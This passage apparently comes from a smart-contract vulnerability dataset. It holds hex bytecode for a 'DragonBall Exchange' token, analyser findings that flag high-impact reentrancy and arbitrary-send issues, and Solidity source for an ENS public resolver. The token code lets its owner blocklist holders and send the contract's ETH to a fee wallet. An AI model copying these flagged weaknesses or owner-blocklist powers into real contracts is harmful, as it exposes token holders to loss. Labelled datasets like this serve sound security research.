00000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601581526020017f20447261676f6e42616c6c2045786368616e6765200000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122012b966fa3ae6e3feb876313aeec252f02dc797567eb179d6a2211e412ebbf88464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,041
0x0a2340e7af5dcf6f7f4acc0e01f2102fb4b144b7
pragma solidity ^0.4.24; interface ENS { // Logged when the owner of a node assigns a new owner to a subnode. event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); // Logged when the owner of a node transfers ownership to a new account. event Transfer(bytes32 indexed node, address owner); // Logged when the resolver for a node changes. event NewResolver(bytes32 indexed node, address resolver); // Logged when the TTL of a node changes event NewTTL(bytes32 indexed node, uint64 ttl); function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external; function setResolver(bytes32 node, address resolver) external; function setOwner(bytes32 node, address owner) external; function setTTL(bytes32 node, uint64 ttl) external; function owner(bytes32 node) external view returns (address); function resolver(bytes32 node) external view returns (address); function ttl(bytes32 node) external view returns (uint64); } /** * A simple resolver anyone can use; only allows the owner of a node to set its * address. * Updated with nonfunctional changes */ contract PublicResolver { bytes4 constant INTERFACE_META_ID = 0x01ffc9a7; bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de; bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5; bytes4 constant NAME_INTERFACE_ID = 0x691f3431; bytes4 constant ABI_INTERFACE_ID = 0x2203ab56; bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233; bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c; bytes4 constant MULTIHASH_INTERFACE_ID = 0xe89401a1; event AddrChanged(bytes32 indexed node, address a); event ContentChanged(bytes32 indexed node, bytes32 hash); event NameChanged(bytes32 indexed node, string name); event ABIChanged(bytes32 indexed node, uint256 indexed contentType); event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y); event TextChanged(bytes32 indexed node, string indexedKey, string key); event MultihashChanged(bytes32 indexed node, bytes hash); struct PublicKey { bytes32 x; bytes32 y; } struct Record { address addr; bytes32 content; string name; PublicKey pubkey; mapping(string=>string) text; mapping(uint256=>bytes) abis; bytes multihash; } ENS ens; mapping (bytes32 => Record) records; modifier only_owner(bytes32 node) { require(ens.owner(node) == msg.sender); _; } /** * Constructor. * @param ensAddr The ENS registrar contract. */ constructor(ENS ensAddr) public { ens = ensAddr; } /** * Sets the address associated with an ENS node. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param addr The address to set. */ function setAddr(bytes32 node, address addr) public only_owner(node) { records[node].addr = addr; emit AddrChanged(node, addr); } /** * Sets the content hash associated with an ENS node. * May only be called by the owner of that node in the ENS registry. * Note that this resource type is not standardized, and will likely change * in future to a resource type based on multihash. * @param node The node to update. * @param hash The content hash to set */ function setContent(bytes32 node, bytes32 hash) public only_owner(node) { records[node].content = hash; emit ContentChanged(node, hash); } /** * Sets the multihash associated with an ENS node. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param hash The multihash to set */ function setMultihash(bytes32 node, bytes hash) public only_owner(node) { records[node].multihash = hash; emit MultihashChanged(node, hash); } /** * Sets the name associated with an ENS node, for reverse records. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param name The name to set. */ function setName(bytes32 node, string name) public only_owner(node) { records[node].name = name; emit NameChanged(node, name); } /** * Sets the ABI associated with an ENS node. * Nodes may have one ABI of each content type. To remove an ABI, set it to * the empty string. * @param node The node to update. * @param contentType The content type of the ABI * @param data The ABI data. */ function setABI(bytes32 node, uint256 contentType, bytes data) public only_owner(node) { // Content types must be powers of 2 require(((contentType - 1) & contentType) == 0); records[node].abis[contentType] = data; emit ABIChanged(node, contentType); } /** * Sets the SECP256k1 public key associated with an ENS node. * @param node The ENS node to query * @param x the X coordinate of the curve point for the public key. * @param y the Y coordinate of the curve point for the public key. */ function setPubkey(bytes32 node, bytes32 x, bytes32 y) public only_owner(node) { records[node].pubkey = PublicKey(x, y); emit PubkeyChanged(node, x, y); } /** * Sets the text data associated with an ENS node and key. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param key The key to set. * @param value The text data value to set. */ function setText(bytes32 node, string key, string value) public only_owner(node) { records[node].text[key] = value; emit TextChanged(node, key, key); } /** * Returns the text data associated with an ENS node and key. * @param node The ENS node to query. * @param key The text data key to query. * @return The associated text data. */ function text(bytes32 node, string key) public view returns (string) { return records[node].text[key]; } /** * Returns the SECP256k1 public key associated with an ENS node. * Defined in EIP 619. * @param node The ENS node to query * @return x, y the X and Y coordinates of the curve point for the public key. */ function pubkey(bytes32 node) public view returns (bytes32 x, bytes32 y) { return (records[node].pubkey.x, records[node].pubkey.y); } /** * Returns the ABI associated with an ENS node. * Defined in EIP205. * @param node The ENS node to query * @param contentTypes A bitwise OR of the ABI formats accepted by the caller. * @return contentType The content type of the return value * @return data The ABI data */ function ABI(bytes32 node, uint256 contentTypes) public view returns (uint256 contentType, bytes data) { Record storage record = records[node]; for (contentType = 1; contentType <= contentTypes; contentType <<= 1) { if ((contentType & contentTypes) != 0 && record.abis[contentType].length > 0) { data = record.abis[contentType]; return; } } contentType = 0; } /** * Returns the name associated with an ENS node, for reverse records. * Defined in EIP181. * @param node The ENS node to query. * @return The associated name. */ function name(bytes32 node) public view returns (string) { return records[node].name; } /** * Returns the content hash associated with an ENS node. * Note that this resource type is not standardized, and will likely change * in future to a resource type based on multihash. * @param node The ENS node to query. * @return The associated content hash. */ function content(bytes32 node) public view returns (bytes32) { return records[node].content; } /** * Returns the multihash associated with an ENS node. * @param node The ENS node to query. * @return The associated multihash. */ function multihash(bytes32 node) public view returns (bytes) { return records[node].multihash; } /** * Returns the address associated with an ENS node. * @param node The ENS node to query. * @return The associated address. */ function addr(bytes32 node) public view returns (address) { return records[node].addr; } /** * Returns true if the resolver implements the interface specified by the provided hash. * @param interfaceID The ID of the interface to check for. * @return True if the contract implements the requested interface. */ function supportsInterface(bytes4 interfaceID) public pure returns (bool) { return interfaceID == ADDR_INTERFACE_ID || interfaceID == CONTENT_INTERFACE_ID || interfaceID == NAME_INTERFACE_ID || interfaceID == ABI_INTERFACE_ID || interfaceID == PUBKEY_INTERFACE_ID || interfaceID == TEXT_INTERFACE_ID || interfaceID == MULTIHASH_INTERFACE_ID || interfaceID == INTERFACE_META_ID; } }
